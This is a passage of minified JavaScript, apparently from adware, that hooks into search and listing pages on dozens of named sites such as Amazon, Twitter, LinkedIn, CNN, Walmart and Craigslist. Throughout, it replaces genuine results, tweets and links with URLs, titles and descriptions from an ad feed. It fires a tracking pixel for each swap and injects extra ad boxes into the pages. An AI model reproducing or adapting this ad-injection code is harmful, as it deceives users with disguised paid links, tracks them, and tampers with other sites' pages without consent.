gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.cover-img-link').attr('href', obj.items[gc].url); jQuery(this).find('.cover-name-link').attr('href', obj.items[gc].url); jQuery(this).find('.cover-name-link').html(obj.items[gc].title); jQuery(this).find('.single-owner-link').attr('href', obj.items[gc].url); jQuery(this).find('.js-mini-profile').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isRewarder === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.rewards > .new-reward').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.reward_title').html(obj.items[gc].title); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isRmondpie === true) { div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '600px'); div.insertBefore('#cse-search-results'); div2.css('width', '600px'); div2.insertAfter('#cse-search-results'); div3.css('width', '600px'); div3.insertAfter('#sw-ads'); div4.css('width', '600px'); div4.insertAfter('#sw-ads-3'); } else if(is123peppy === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('ul.game-panel > li.game-item').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.thumbnail > a').attr('href', obj.items[gc].url); jQuery(this).find('.gametitle > a').attr('href', obj.items[gc].url); jQuery(this).find('.gametitle > a').html(obj.items[gc].title); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isMovie2k === true) { div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '980px'); div.insertBefore('#tdmoviesheader'); div2.css('width', '980px'); div2.insertAfter(''); div3.css('width', '980px'); div3.insertAfter('#sw-ads'); div4.css('width', '980px'); div4.insertAfter('#sw-ads-3'); } else if(isWmur === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.results > li').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('hgroup > h2 > a').attr('href', obj.items[gc].url); jQuery(this).find('hgroup > h2 > a').html(obj.items[gc].title); jQuery(this).find('p').html(obj.items[gc].description); jQuery(this).find('a').attr('href', obj.items[gc].url); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isIsticker === true) { div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '560px'); div.insertBefore('#catTable'); div2.css('width', '560px'); div2.insertAfter('#catTable'); div3.css('width', '560px'); div3.insertAfter('#sw-ads'); div4.css('width', '560px'); div4.insertAfter('#sw-ads-3'); } else if(isNbcphil === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.story').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.category > a').attr('href', obj.items[gc].url); jQuery(this).find('.category > a').html(obj.items[gc].displayUrl); jQuery(this).find('.title > a').attr('href', obj.items[gc].url); jQuery(this).find('.title > a').html(obj.items[gc].title); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isGriffin === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('products-grid > .item').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.product-image').attr('href', obj.items[gc].url); jQuery(this).find('.product-name > a').attr('href', obj.items[gc].url); jQuery(this).find('.product-name > a').html(obj.items[gc].title); jQuery(this).find('.tagline').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isLds === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.lds-teaser').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('div > h3 > a').attr('href', obj.items[gc].url); jQuery(this).find('div > h3 > a').html(obj.items[gc].title); jQuery(this).find('.meta > li').html(obj.items[gc].displayUrl); jQuery(this).find('div > p').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isPcrich === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('ul.item-list > .item-item').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.item-title > a').attr('href', obj.items[gc].url); jQuery(this).find('.item-title > a').html(obj.items[gc].title); jQuery(this).find('.item-sku > li').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isPcmag === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('ul.items > li').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.searchtitle').attr('href', obj.items[gc].url); jQuery(this).find('.searchtitle').html(obj.items[gc].title); jQuery(this).find('p').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isSidereel === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.search-results-wrapper > .showcard-wrapper').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.show-image > a').attr('href', obj.items[gc].url); jQuery(this).find('.sr-header > a').attr('href', obj.items[gc].url); jQuery(this).find('.sr-header > a').html(obj.items[gc].title); jQuery(this).find('.show-information-top > div').html(obj.items[gc].displayUrl); jQuery(this).find('.short-summary').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isUgg === true) { var gc = 0; jQuery('#search-result-items > li').each(function(){ if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.thumb-link').attr('href', obj.items[gc].url); jQuery(this).find('.name-link').attr('href', obj.items[gc].url); jQuery(this).find('.name-link').html(obj.items[gc].title); jQuery(this).find('.show-information-top > div').html(obj.items[gc].displayUrl); jQuery(this).find('.short-summary').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isFunnymama === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('#wall > article').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('h3 > a').attr('href', obj.items[gc].url); jQuery(this).find('h3 > a').html(obj.items[gc].title); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isHamilton === true) { var gc = 0; jQuery('#productsTab > .sisea-result').each(function(){ if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('p > a').attr('href', obj.items[gc].url); jQuery(this).find('p > a').html(obj.items[gc].title); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isQuizlet === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.results > article').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.set-link').attr('href', obj.items[gc].url); jQuery(this).find('.set-name-text').html(obj.items[gc].title); jQuery(this).find('.added.reason').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isRantlife === true) { var gc = 0; jQuery('.archive-list > li').each(function(){ if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.archive-image > a').attr('href', obj.items[gc].url); jQuery(this).find('.archive-text > h2 > a').attr('href', obj.items[gc].url); jQuery(this).find('.archive-text > h2 > a').html(obj.items[gc].title); jQuery(this).find('.archive-byline > a').attr('href', obj.items[gc].url); jQuery(this).find('.archive-byline > a').html(obj.items[gc].displayUrl); jQuery(this).find('.archive-text > p').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isFashiondiva === true) { var gc = 0; jQuery('.archive > li').each(function(){ if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.archive-image > a').attr('href', obj.items[gc].url); jQuery(this).find('.archive-text > h2 > a').attr('href', obj.items[gc].url); jQuery(this).find('.archive-text > h2 > a').html(obj.items[gc].title); jQuery(this).find('.archive-text > p').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isNg === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('#results > .result_item').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.result_info > a').attr('href', obj.items[gc].url); jQuery(this).find('.result_info > a > h4').html(obj.items[gc].title); jQuery(this).find('.result_info > a > p').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isCnet === true) { var gc = 0; jQuery('.searchResults.listingNews > ul > li').each(function(){ if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.resultImage > a').attr('href', obj.items[gc].url); jQuery(this).find('.resultInfo > a').attr('href', obj.items[gc].url); jQuery(this).find('.resultInfo > a').html(obj.items[gc].title); jQuery(this).find('.resultSummary > p').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isPopphoto === true) { var gc = 0; jQuery('.search-results > .search_result').each(function(){ if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.image-thumb > a').attr('href', obj.items[gc].url); jQuery(this).find('.title > a').attr('href', obj.items[gc].url); jQuery(this).find('.title > a').html(obj.items[gc].title); jQuery(this).find('.submitted').html(obj.items[gc].displayUrl); jQuery(this).find('.content').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isRedbubble === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.search-grid > a').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).attr('href', obj.items[gc].url); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isSephora === true) { div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '780px'); jQuery('.search-results').prepend(div); div2.css('width', '780px'); div2.insertAfter(''); div3.css('width', '780px'); div3.insertAfter('#sw-ads'); div4.css('width', '780px'); div4.insertAfter('#sw-ads-3'); } else if(isDailykos === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.storiesAsGrid > tbody > tr').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.title').attr('href', obj.items[gc].url); jQuery(this).find('.title').html(obj.items[gc].title); jQuery(this).find('.author').attr('href', obj.items[gc].url); jQuery(this).find('.author').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isCargurus === true) { div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '600px'); div.insertBefore('#cse-search-results'); div2.css('width', '600px'); div2.insertAfter('#cse-search-results'); div3.css('width', '600px'); div3.insertAfter('#sw-ads'); div4.css('width', '600px'); div4.insertAfter('#sw-ads-3'); } else if(is13wmaz === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.resultslist > .result').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.title > a').attr('href', obj.items[gc].url); jQuery(this).find('.title > a').html("

"+obj.items[gc].title+"

"); jQuery(this).find('.date').html(obj.items[gc].displayUrl); jQuery(this).find('.summary').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isTinypic === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.browse > ul > li').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a').attr('href', obj.items[gc].url); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isMicrosoft === true) { var gc = 0; jQuery('.organic_result').each(function(){ if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('li:first > a').attr('href', obj.items[gc].url); jQuery(this).find('li:first > a > h3').html(obj.items[gc].title); jQuery(this).find('.organic_result_displink > a').attr('href', obj.items[gc].url); jQuery(this).find('.organic_result_displink > a').html(obj.items[gc].displayUrl); jQuery(this).find('.organic_result_description').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isCnn === true) { var gc = 0; jQuery('.cnnResultItem').each(function(){ if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.cnnResultTitle > a').attr('href', obj.items[gc].url); jQuery(this).find('.cnnResultTitle > a').html(obj.items[gc].title); jQuery(this).find('.cnnResultText').html(obj.items[gc].description+'
'+obj.items[gc].displayUrl+'
'); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isLinkedin === true) { var gc = 0; jQuery('#results > li').each(function(){ if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.title').attr('href', obj.items[gc].url); jQuery(this).find('.title').html(obj.items[gc].title); jQuery(this).find('.description > a').attr('href', obj.items[gc].url); jQuery(this).find('.similiar > a').attr('href', obj.items[gc].url); jQuery(this).find('.primary-action-button > a').attr('href', obj.items[gc].url); jQuery(this).find('.description > a').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isPinterest === true) { setTimeout(function(){ var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.padItems > .item').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.pinImageWrapper').attr('href', obj.items[gc].url); jQuery(this).find('.pinDescription').html(obj.items[gc].description); jQuery(this).find('.creditItem').attr('href', obj.items[gc].url); jQuery(this).find('.creditName').html(obj.items[gc].title); jQuery(this).find('.creditTitle').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); }, 1500); } else if(isCraigslist === true) { var gc = 0; var ct10 = 0; var skip10 = 0; jQuery('.content > .row').each(function(){ if(gc>0 && gc%3 == 0) skip10 = 1; if(skip10 == 1) { if(ct10 < 10) ct10++; else if(ct10 == 10) { skip10 = 0; ct10 = 0; } } if(skip10 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.i').attr('href', obj.items[gc].url); jQuery(this).find('.pl > a').attr('href', obj.items[gc].url); jQuery(this).find('.pl > a').html(obj.items[gc].title); jQuery(this).find('.gc').html(obj.items[gc].displayUrl); jQuery(this).find('.gc').attr('href', obj.items[gc].url); //jQuery(this).find('.resultDescription').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isBackpage === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.mainBody > .cat.summary').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a.summaryImage').attr('href', obj.items[gc].url); jQuery(this).find('.summaryHeader > a').attr('href', obj.items[gc].url); jQuery(this).find('.summaryHeader > a').html(obj.items[gc].title); jQuery(this).find('.summaryText').html(obj.items[gc].description); jQuery(this).find('.resultsRegionLabel').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); jQuery('.mainBody > .cat').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('a').html(obj.items[gc].title); jQuery(this).find('.resultsRegionLabel').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isBlinkx === true) { div.css('width', '460px'); div.insertBefore('#stream'); div2.css('width', '460px'); div2.insertAfter('#stream'); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '460px'); div3.insertAfter('#sw-ads'); div4.css('width', '460px'); div4.insertAfter('#sw-ads-3'); } else if(isLocal === true) { div.css('width', '500px'); jQuery('#googleadcontainertop').prepend(div); div2.css('width', '500px'); div2.insertAfter('#featured-bucket'); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '500px'); div3.insertAfter('#sw-ads'); div4.css('width', '500px'); div4.insertAfter('#sw-ads-3'); } else if(isYellowbook === true) { div.css('width', '580px'); div.insertBefore('#local-listings'); div2.css('width', '580px'); div2.insertAfter('#local-listings'); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '580px'); div3.insertAfter('#sw-ads'); div4.css('width', '580px'); div4.insertAfter('#sw-ads-3'); } else if(isYellowpages === true) { div.css('width', '610px'); div.insertBefore('.results-column'); div2.css('width', '610px'); div2.insertBefore('#related-searches'); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '610px'); div3.insertAfter('#sw-ads'); div4.css('width', '610px'); div4.insertAfter('#sw-ads-3'); } else if(isSuperpages === true) { div.css('width', '360px'); div.insertAfter('.sort'); div2.css('width', '740px'); div2.insertBefore('.results-cnt'); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '360px'); div3.insertAfter('#sw-ads'); div4.css('width', '360px'); div4.insertAfter('#sw-ads-3'); } else if(isOverstock === true) { injectShoppingAds(term); div.css('width', '700px'); div.insertAfter('#top-block-wrap'); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '700px'); div3.insertAfter('#sw-ads'); div4.css('width', '700px'); div4.insertAfter('#sw-ads-3'); } else if(isWalmart === true) { injectShoppingAds(term); div.css('width', '800px'); jQuery('#shelfDiv').prepend(div); div2.css('width', '800px'); div2.insertAfter('#border'); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '800px'); div3.insertAfter('#sw-ads'); div4.css('width', '800px'); div4.insertAfter('#sw-ads-3'); } else if(isSears === true) { injectShoppingAds(term); } else if(isJcPenny === true) { injectShoppingAds(term); div.css('width', '546px'); jQuery('.sorted_items').prepend(div); div2.css('width', '590px'); //div2.insertAfter('.pagination2.flt_wdt'); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '546px'); div3.insertAfter('#sw-ads'); div4.css('width', '546px'); div4.insertAfter('#sw-ads-3'); } else if(isKmart === true) { injectShoppingAds(term); div.css('width', '1020px'); div.insertBefore('#topUtilBar'); div2.css('width', '1020px'); div2.insertBefore('#botUtilBar'); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '1020px'); div3.insertAfter('#sw-ads'); div4.css('width', '1020px'); div4.insertAfter('#sw-ads-3'); } else if(isShopping === true) { injectShoppingAds(term); div.css('width', '690px'); div.insertBefore('#searchResultsContainer'); div2.css('width', '690px'); jQuery('#searchResultsContainer').append(div2); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '690px'); div3.insertAfter('#sw-ads'); div4.css('width', '690px'); div4.insertAfter('#sw-ads-3'); } else if(isLowes === true) { injectShoppingAds(term); div.css('width', '704px'); div.insertBefore('#productResults'); div2.css('width', '704px'); div2.insertAfter('#productResults'); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '704px'); div3.insertAfter('#sw-ads'); div4.css('width', '704px'); div4.insertAfter('#sw-ads-3'); } else if(isHomeDepot === true) { injectShoppingAds(term); div.css('width', '546px'); div.insertBefore('#plp_core'); div2.css('width', '546px'); $('#plp_core').append(div2); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '546px'); div3.insertAfter('#sw-ads'); div4.css('width', '546px'); div4.insertAfter('#sw-ads-3'); } else if(isMacys === true) { injectShoppingAds(term); div.css('width', '680px'); div.insertBefore('#macysGlobalLayout'); div2.css('width', '680px'); div2.insertAfter('.browseLayout'); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '680px'); div3.insertAfter('#sw-ads'); div4.css('width', '680px'); div4.insertAfter('#sw-ads-3'); } else if(isPronto === true) { injectShoppingAds(term); div.css('width', '880px'); div.insertBefore('.productContainer'); div2.css('width', '880px'); div2.insertAfter('.productContainer'); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '880px'); div3.insertAfter('#sw-ads'); div4.css('width', '880px'); div4.insertAfter('#sw-ads-3'); } else if(isShopzilla === true) { injectShoppingAds(term); div.css('width', '614px'); div.insertBefore('#results'); div2.css('width', '614px'); div2.insertAfter('.canvas'); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '614px'); div3.insertAfter('#sw-ads'); div4.css('width', '614px'); div4.insertAfter('#sw-ads-3'); } else if(isBestBuy === true) { injectShoppingAds(term); div.css('width', '760px'); div.insertBefore('#listView'); div2.css('width', '760px'); jQuery('#listView').append(div2); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '760px'); div3.insertAfter('#sw-ads'); div4.css('width', '760px'); div4.insertAfter('#sw-ads-3'); } else if(isTarget === true) { injectShoppingAds(term); div.css('width', '704px'); jQuery('#productListing').prepend(div); div2.css('width', '770px'); jQuery('#productListForm').append(div2); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '704px'); div3.insertAfter('#sw-ads'); div4.css('width', '704px'); div4.insertAfter('#sw-ads-3'); } else if(isStaples === true) { injectShoppingAds(term); div.css('width', '500px'); div.insertBefore('#productDetail'); //div2.css('width', '500px'); //div2.insertAfter('#productDetail'); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '500px'); div3.insertAfter('#sw-ads'); div4.css('width', '500px'); div4.insertAfter('#sw-ads-3'); } else if(isEbay === true) { injectShoppingAds(term); } else if(isAmazon === true) { injectShoppingAds(term); var gc = 0; jQuery('.pa-sp-offer-container > table > tbody > tr').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { if(obj.items[gc].title.length > 30) amTitle = obj.items[gc].title.substr(0, 30)+".."; else amTitle = obj.items[gc].title; amDescArr = obj.items[gc].description.split("::"); amDesc = amDescArr[0]; if(amDesc.length > 80) amDesc = amDesc.substr(0, 80)+".."; jQuery(this).find('.pa-sp-offer-image > a').attr('href', obj.items[gc].url); jQuery(this).find('.pa-sp-offer-title > a').attr('href', obj.items[gc].url); jQuery(this).find('.pa-sp-offer-title > a').html(amTitle); (new Image()).src = obj.items[gc].pixel; gc++; } }); jQuery('#SponsoredLinksTable > tbody > tr').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { if(obj.items[gc].title.length > 30) amTitle = obj.items[gc].title.substr(0, 30)+".."; else amTitle = obj.items[gc].title; amDescArr = obj.items[gc].description.split("::"); amDesc = amDescArr[0]; if(amDesc.length > 80) amDesc = amDesc.substr(0, 80)+".."; jQuery(this).find('.SponsoredLinkTitle > a').each(function(){ jQuery(this).attr('href', obj.items[gc].url); }); jQuery(this).find('.SponsoredLinkTitle > a:first').html(''+amTitle+''); jQuery(this).find('.SponsoredLinkDescriptionUrlLink').html(obj.items[gc].displayUrl); jQuery(this).find('.SponsoredLinkDescriptionUrlLink').attr('href', obj.items[gc].url); jQuery(this).find('.SponsoredLinkDescriptionText').html(amDesc); (new Image()).src = obj.items[gc].pixel; gc++; } }); return; } else if(isTwitter === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('#stream-items-id > li').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.stream-item-header > a').attr('href', obj.items[gc].url); jQuery(this).find('.stream-item-header > a').attr('target', "_blank"); jQuery(this).find('.stream-item-header > a').attr('onclick', 'document.location="'+obj.items[gc].url+'";'); jQuery(this).find('.js-action-profile-name.show-popup-with-id').html(obj.items[gc].title); jQuery(this).find('.js-action-profile-name.username').html(obj.items[gc].displayUrl); jQuery(this).find('.js-tweet-text').html(obj.items[gc].description); jQuery(this).find('.js-tweet-text').attr('onclick', 'document.location="'+obj.items[gc].url+'";'); jQuery(this).find('.details.js-details').attr('href', obj.items[gc].url); jQuery(this).find('.details.js-details').attr('target', "_blank"); jQuery(this).find('.details.js-details').attr('onclick', 'document.location="'+obj.items[gc].url+'";'); jQuery(this).find('.js-action-reply').attr('href', obj.items[gc].url); jQuery(this).find('.js-action-reply').attr('target', "_blank"); jQuery(this).find('.js-action-reply').attr('onclick', 'document.location="'+obj.items[gc].url+'";'); jQuery(this).find('.favorite').attr('href', obj.items[gc].url); jQuery(this).find('.favorite').attr('target', "_blank"); jQuery(this).find('.favorite').attr('onclick', 'document.location="'+obj.items[gc].url+'";'); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isAol === true) { var gc = 0; jQuery('.SLL > ul[content="SLMP"] > li').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.sllLinkTitle').attr('href', obj.items[gc].url); jQuery(this).find('.title').html(obj.items[gc].title); jQuery(this).find('.pdurl > a').attr('href', obj.items[gc].url); jQuery(this).find('.pdurl > a').html(obj.items[gc].displayUrl); jQuery(this).find('.pdesc > a').html(obj.items[gc].description); jQuery(this).find('.pdesc > a').attr('href', obj.items[gc].url); (new Image()).src = obj.items[gc].pixel; gc++; } }); jQuery('.RHRSLL > ul[content="SLMP"] > li').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.sllLinkTitle').attr('href', obj.items[gc].url); 